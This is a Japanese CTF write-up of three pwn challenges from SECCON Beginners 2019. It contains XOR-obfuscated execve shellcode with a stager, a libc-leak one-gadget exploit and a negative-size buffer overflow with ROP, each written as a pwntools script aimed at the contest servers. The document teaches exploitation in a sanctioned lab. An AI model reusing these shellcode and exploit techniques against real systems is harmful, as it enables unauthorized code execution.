SECCON Beginners 2019 のPwnのWriteup

f:id:Nperair:20190526162439p:plain
douroとしてソロ参加しました。2000pt獲得しての41位でした。

少しずつ手を付けて主にpwnとrevを頑張りました。

無駄に時間を使って手をつけれなかった問題があり、反省点です。 babyheapはdouble freeでエラーを吐いて無理だったのですが、libcのバージョンが駄目だったらしい。

shellcoder

/bin/shの文字列が使えないので,xorする処理を考えるが、バイト数の制限が面倒。

stagerを書いて、mmapされている領域の余った部分にreadで追加のシェルコードを書いて処理を飛ばす。0x1000もあるので自由だし、長さを気にせず書ける。
nxbitが立っているので、mmapされていないスタックに飛ばすと止まるので注意。

stager.s

section .text
     global _start
     _start:
        mov rsi,rdx
        add rsi,0x40
        mov rdi,0
        mov rdx,136
        xor rax,rax
        syscall
        jmp rsi

shellcode.s

section .text
  global _start
    _start:
      push rbp
      mov rbp,rsp
      push rax
      xor rdx, rdx
      xor rsi, rsi
      mov rbx,QWORD 0x544f131352555e13
      push rbx
      
      lea rax,[rsp]
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov QWORD [rax],0
      push rsp
      pop rdi
      xor rbx,rbx
      xor rcx,rcx
      mov rax, 59
      syscall

シェルコードを生成するスクリプト
gencode.sh

nasm -f elf64 $1.s
ld -o $1 $1.o
objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'

ループはjmp先の記憶が面倒なので一文字ずつxorしていったが、まとめてxorしたほうがよい。
確実に動作するためジャンプ先にあるゴミを除去し(/bin/shの末尾をnull終端)、一応色々なレジスタを初期化するコードを書いた。 わかりやすさ重視でいってしまったが格好悪いコードになった。

from pwn import *

p = remote("153.120.129.186", 20000)
print(p.recv())
shellcode = b"\x55\x48\x89\xe5\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x13\x5e\x55\x52\x13\x13\x4f\x54\x53\x48\x8d\x04\x24\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x48\xc7\x00\x00\x00\x00\x00\x54\x5f\x48\x31\xdb\x48\x31\xc9\xb8\x3b\x00\x00\x00\x0f\x05"
stager = b"\x48\x89\xd6\x48\x83\xc6\x40\xbf\x00\x00\x00\x00\xba\x88\x00\x00\x00\x48\x31\xc0\x0f\x05\xff\xe6"
print(len(shellcode))
print(len(stager))
p.sendline(stager)
p.sendline(shellcode)
p.interactive()

OneLine

適当に一文字書き込んでwriteのアドレスをリークすることができる。
libcのアドレスしかわからないのでone gadget rceするのがはやい。
もちろんlibcのガジェットを用いてropすることもできると思う。
bofのオフセットは出すのが面倒だったので適当にたくさん入力した。

from pwn import *
import time
context.log_level="DEBUG"
#server = process(["socat","tcp-listen:1234,fork,reuseaddr","exec:./speedrun-001"])
#gdb.attach(server, """
#        set follow-fork-mode child
#        c
#""")
#time.sleep(2)
one_gadget = 0x10a38c
libc_write = 0x000000000110140
p = process("./oneline")
p = remote("153.120.129.186",10000)
print(p.recv())
p.send("\x00")
leak = p.recvuntil(b"\x7f")
tmp = leak[32:]
leaked_write = u64(tmp+b"\x00"*(8-len(tmp)))
print(hex(leaked_write))
offset = leaked_write - libc_write
target = one_gadget + offset
p.send(p64(target)*0x10)
p.interactive()

memo

確保できる領域のサイズに制限があるが、素直に大きく確保するとスタックから離れてしまう。
しかし、unsignedな比較を行っているため、負の値を入力できる。 適当に試行錯誤し、rbp+8のリターンアドレスに書き込めるようにする。
hiddenのsystemを呼び出すことになるが、このときrsp+0x40のアドレスの末尾を0にしていなければmovaps命令の制約によりエラーが出る。
retを用いてスタックをずらすことで解決した。

from pwn import *
import time
#p = process("./memo")
#context.log_level="DEBUG"
#gdb.attach(p, """
#        set follow-fork-mode child
#        c
#""")
#time.sleep(2[f:id:Nperair:20190526162439p:plain])
hidden = 0x00000000004007bd
ret = 0x0040056e
p = remote("133.242.68.223",35285)
print(p.recv())
p.sendline(str(-0x61).encode("utf-8"))
print(p.recv())
buf = p64(0)
buf += p64(ret)
buf += p64(hidden)
buf += b"\x00"*0x400
p.sendline(buf)
print(p.recv())

p.interactive()